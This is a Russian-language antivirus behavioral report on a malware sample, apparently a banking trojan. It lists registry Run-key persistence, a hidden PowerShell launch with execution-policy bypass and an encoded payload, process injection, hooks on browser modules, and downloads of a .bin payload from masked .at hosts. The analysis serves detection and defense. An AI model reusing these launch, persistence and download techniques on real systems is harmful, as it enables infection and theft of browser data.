Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'apiMgIME' = 'rundll32 "%APPDATA%\Microsoft\Acle3d10\d3dx0_33.dll",DllRegisterServer'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -windowstyle hidden -noprofile -executionpolicy bypass -noprofile -e IwAjAHAAYwB3AGsAYgB3AG4AeQBoAAoAJABoAGQAcQBtAHMAdAAgAD0AIAAiAEMAeABNAEEAcQBtAGYASQBzACIAOwAKACQAYQB5AGcAYQBrAHoAdgB3...
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\rundll32.exe
следующие пользовательские процессы:
- iexplore.exe
Перехватывает функции
в браузерах
- Процесс iexplore.exe, модуль urlmon.dll
- Процесс firefox.exe, модуль wininet.dll
- Процесс iexplore.exe, модуль wininet.dll
- Процесс firefox.exe, модуль nss3.dll
- Процесс iexplore.exe, модуль advapi32.dll
- Процесс firefox.exe, модуль advapi32.dll
- Процесс firefox.exe, модуль urlmon.dll
- Процесс iexplore.exe, модуль mshtml.dll
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\cxmaqmfis.bin
- mailslot\sl7fc
- %APPDATA%\microsoft\acle3d10\d3dx0_33.dll
- %TEMP%\20c9.bi1
- %TEMP%\215d.bi1
Удаляет следующие файлы
- %HOMEPATH%\cxmaqmfis.bin
- %TEMP%\20c9.bi1
- %TEMP%\215d.bi1
Сетевая активность
Подключается к
- 'li##tsno.at':80
TCP
Запросы HTTP GET
- http://li##tsno.at/aisdjfopidijncbfwodj.bin
- http://vi####atistic.at/images/TbGyQ_2B/2endYuRiuUh8jyb_2B3mGuj/_2FinPfh0T/k_2BTXbJrl0_2FlI9/qUp2B_2FaLTt/jUQ9cGSPHuQ/xKkeZUxO46Zgs2/zIIORa7iqejfNYTtYrwiu/Cs8Y9avBlS1iPsCP/69UCAI08egicslp/Ol0l3...
UDP
- DNS ASK li##tsno.at
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
- DNS ASK vi####atistic.at
Другое
Ищет следующие окна
- ClassName: 'ProgMan' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -windowstyle hidden -noprofile -executionpolicy bypass -noprofile -e IwAjAHAAYwB3AGsAYgB3AG4AeQBoAAoAJABoAGQAcQBtAHMAdAAgAD0AIAAiAEMAeABNAEEAcQBtAGYASQBzACIAOwAKACQAYQB5AGcAYQBrAHoAdgB3...' (со скрытым окном)
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL /?' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\regsvr32.exe' /s %HOMEPATH%\CxMAqmfIs.bin
- '<SYSTEM32>\control.exe' /?
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL /?
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\215D.bi1"
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\20C9.bi1"
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\20C9.bi1"
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\215D.bi1"
